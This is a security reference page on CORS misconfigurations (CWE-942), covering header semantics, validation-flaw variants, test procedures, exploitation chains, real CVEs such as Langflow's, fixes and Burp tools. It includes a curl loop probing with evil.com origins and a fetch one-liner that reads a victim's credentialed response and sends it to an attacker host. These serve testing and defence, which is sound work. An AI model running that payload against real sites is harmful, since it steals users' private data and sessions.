A CORS misconfiguration (CWE-942) is a server policy that tells the browser to hand cross-origin responses to an origin the server should not trust: a reflected or badly validated Origin, null, an over-broad subdomain or third-party allowlist, or * on data that is protected only by network position.
What it is
The same-origin policy stops a page from reading another origin’s responses; CORS is the opt-in that relaxes it. The browser sends Origin, and the server answers with Access-Control-Allow-Origin (ACAO) and optionally Access-Control-Allow-Credentials: true (ACAC). With both set to the attacker’s origin, attacker JavaScript can read the victim’s authenticated responses (Outpost24, OWASP HTTP Headers).
The broken trust boundary is the origin allowlist check. ACAO can hold only one origin (or *), so any app that trusts more than one origin has to parse Origin dynamically and echo it back. That dynamic parsing is where the bugs are: no validation at all, prefix/suffix/regex checks, trusting all subdomains, trusting null (Outpost24, DarkRelay).
Two framing points:
CORS is a response-confidentiality control, not a request-integrity control. Simple requests are sent and processed whether or not CORS allows the read. CORS failing does not mean the request failed (Eight Doors, Mixmax). That side belongs to Cross-Site Request Forgery.
* cannot be combined with credentials. The browser rejects ACAO: * together with ACAC: true, so the exploitable credentialed case is a reflected specific origin plus ACAC. * matters when the data needs no credentials: public-by-network internal apps and unauthenticated localhost daemons (Header Manipulation, OWASP CSRF CS).
Severity drivers: whether credentials travel (ACAC, plus SameSite on the cookie that matters), what the most sensitive readable endpoint returns, and whether a token or refresh endpoint is reachable. Outpost24 found CORS findings in pentest reports that had been routinely downgraded to “recommendations” even though they gave real session theft (Outpost24).
How it works
Header semantics:
Origin is set by the browser. Scripts cannot forge it, but curl and Burp can, which is how you probe the server.
ACAO: a single origin, * or null. Only one origin is allowed, which forces dynamic reflection when several origins are trusted.
ACAC: true: lets JS read responses to credentials: "include" requests. Its only valid value is true (OWASP HTTP Headers).
Preflight (OPTIONS with Access-Control-Request-Method and Access-Control-Request-Headers) happens only for non-simple requests. It is skipped for GET, HEAD or POST with safelisted headers and a Content-Type of application/x-www-form-urlencoded, multipart/form-data or text/plain, with no XHR.upload listener and no ReadableStream (Tib3rius, CORS Explained). The browser sends the real request only if the preflight returns a matching ACAO, Access-Control-Allow-Methods and Access-Control-Allow-Headers (Datadog OpenCode).
Vary: Origin should accompany a dynamic ACAO (thedreaming).
Variants, each with a sub-page:
Origin reflection and validation flaws: echoing any origin, or checks that use startsWith, unanchored regexes, suffix matches, all-subdomain trust, related-domain trust, dev platforms left on the allowlist, localhost prefix checks, or special characters that browsers accept in hostnames. See Origin Reflection and Validation Flaws.
Null origin and credentialed CORS: trusting null, which sandboxed iframes and some redirect and referrer-policy paths produce; how ACAC, SameSite, bearer tokens and refresh cookies decide exploitability. See Null Origin and Credentialed CORS.
Wildcard CORS on internal and local services: * with no auth on intranet apps, localhost agents and LAN devices. The victim’s network position replaces the cookie. See CORS on Internal and Local Services.
Where to find it
API subdomains and auxiliary or internal APIs. CORS is often enabled per endpoint, not app-wide (Outpost24, Hidden Gems).
Endpoints that return tokens: getSessionToken, CSRF-token generators, /user/key, OAuth/refresh endpoints such as Langflow’s /api/v1/refresh.
Framework defaults: FastAPI CORSMiddleware(allow_origins=["*"], allow_credentials=True) (Langflow), FastAPI allow_origins=["*"] (Reachy Mini daemon), Apache Zeppelin zeppelin.server.allowed.origins=* (CVE-2026-44613), nginx-level ACAO: * in front of a Next.js CRM (JFrog, OX Zeppelin, CRM pentest).
SPA and BFF backends split across app. and api. subdomains. CORS there is deliberate and its allowlist is the attack surface (Modern CSRF in SPAs).
Cloud and SaaS APIs with ACAO: * that encourage credentials in client-side JS (TruffleHog), and storage-signing endpoints that hand out upload credentials under * (One Header Away).
How to test
Find candidate endpoints: anything returning per-user data or tokens. Check API hosts separately from the main app.
Probe with a controlled Origin in Repeater or curl:
for o in https://evil.com null https://target.com.evil.com https://eviltarget.com; do echo -n "$o -> "; curl -sI -H "Origin: $o" https://api.target.com/me | grep -i '^access-control-allow'done
Look for ACAO echoing your value, together with ACAC: true (Header Manipulation).
Discover hidden trusted origins. An app may not trust itself but may trust a sibling. Fuzz Origin: https://§host§ in Intruder over subfinder output, with URL-encoding off, and filter on ACAO (Outpost24).
For every trusted origin, run the bypass set: prefix, suffix, unescaped dot, localhost prefix, underscore and special-character hosts. Generate them with PortSwigger’s URL validation bypass cheat sheet in its “CORS origin” context (PortSwigger cheat sheet). Details: Origin Reflection and Validation Flaws.
Check credential viability: the cookie’s SameSite and Domain, whether auth is a bearer header, and whether a cookie-authenticated refresh endpoint mints bearer tokens (Null Origin and Credentialed CORS).
Prove it in a real browser. Host a PoC that fetches with credentials: "include" and exfiltrates the response. ReproCase supports real-browser CORS private-read verdicts with fresh accounts (ReproCase).
Internal and local: on VPN or intranet targets, * with no auth is a finding. Test localhost agents and LAN devices for * and for simple-request side effects (CORS on Internal and Local Services).
Checklist
ACAO reflects an arbitrary origin, with ACAC
null accepted
target.com.evil.com, eviltarget.com, target.com_.evil.com and similar accepted
All subdomains trusted. Then look for a takeover or XSS on any of them.
Third-party dev platforms (GitHub Pages, CodePen, Replit) on the allowlist
localhost or http:// origins trusted in production
Token, CSRF-token or refresh endpoints readable cross-origin
* on unauthenticated internal or local APIs
Endpoints accept text/plain or form bodies, so the request lands even when CORS blocks the read
Exploitation and escalation
Single-fetch read: fetch(url,{credentials:"include"}).then(r=>r.text()).then(d=>fetch("//attacker/?d="+encodeURIComponent(d))). Every Outpost24 case follows this flow (Outpost24). Doyensec’s Session-Hijacking-Visual-Exploitation takes an HTML template that turns a CORS-vulnerable site into an interactive hijacked client (Doyensec SHVE).
Multi-step chains: read the CSRF token from one CORS-open endpoint, then call a token-protected endpoint that is also CORS-open (Outpost24).
CORS to CSRF with a JSON body: a permissive credentialed policy lets the attacker send a preflighted application/json XHR, which defeats content-type-based CSRF defenses (DirectDefense). See JSON CSRF.
Refresh-token pivot to RCE: Langflow reads a new access/refresh pair from /api/v1/refresh (the SameSite=None cookie), then calls /api/v1/validate/code (CVE-2025-3248) (Obsidian).
XSS or takeover on a trusted subdomain: an XSS or Subdomain Takeover on any trusted subdomain becomes a full-origin read. Requests from sibling subdomains also sidestep SameSite when the cookie has a Domain attribute (Intigriti STO, Outpost24).
Desync to XSS to CORS: PortSwigger’s CRLF desync research used an XSSed iframe plus a CORS misconfiguration to pull auth tokens and PII, for a $3,255 bounty (CRLF desync).
CORS feeding a DOM sink: Flickr mobile fetched a path from the fragment, validated it with an unanchored regex and wrote the response via innerHTML. Because the attacker’s server sets its own CORS headers, that gave XSS (Flickr XSS).
Mixed-content CORS: credentialed requests from insecure http:// subdomains abused through MITM, listed among PortSwigger’s Top 10 2025 nominations (Top 10 2025 nominations).
SameSite=Lax/Strict: pivot to a trusted subdomain. CORS that developers enabled on purpose is “mostly fine” under Lax-by-default, because they usually also loosened the cookies (Reconless). See SameSite Cookies.
“Strict CORS” that blocks the read: the request may still execute if it is simple. Use text/plain or form bodies (Eight Doors, OX Zeppelin). For localhost targets, use top-level form navigation, which neither CORS nor Local Network Access blocks (Datadog OpenCode).
Real-world cases
Langflow CVE-2025-34291 (CVSS 9.4): permissive credentialed CORS, a SameSite=None refresh cookie, then ATO and RCE. Exploited in the wild; fixed by default in 1.7, or set LANGFLOW_CORS_ALLOW_CREDENTIALS=False (Obsidian, CrowdSec).
Glances CVE-2026-34839: unauthenticated REST API on :61208 (/api/4/all) readable from any origin. Fixed after 4.5.2 (Astra).
Exact-match allowlist of full origins (scheme, host and port) and echo only on a match. Never reflect, never use regex or prefix/suffix checks, never trust null, never combine * with credentials. Enable ACAC only when it is required (OWASP HTTP Headers, vAPI).
Don’t trust all subdomains. OWASP calls the subdomain regex “less secure” because of takeovers. List the specific hosts you trust (OWASP CSRF CS, Outpost24).
Remove dev, localhost and third-party-hosting origins from production allowlists (Intigriti tips).
CORS is not CSRF protection. Add an Origin gate that rejects unknown origins on state-changing requests (cors-gate pattern), and reject text/plain and form bodies on JSON APIs (Mixmax, OWASP CSRF CS). See CSRF Prevention.
Local services: bind to 127.0.0.1, require auth, and allow only the dashboard’s real origin (Astra, JFrog).
Refresh tokens: send them in a header rather than a cookie. If a cookie is unavoidable, use SameSite=Lax/Strict for same-site deployments, or a CSRF token (Obsidian).
Tools
Burp: the built-in CORS scan check (blind to related-domain trust and localhost bypasses); BApps “CORS*, Additional CORS Checks” and “Trusted Domain CORS Scanner”; Outpost24’s outpost24-cors-check extension (BApp Store, Outpost24).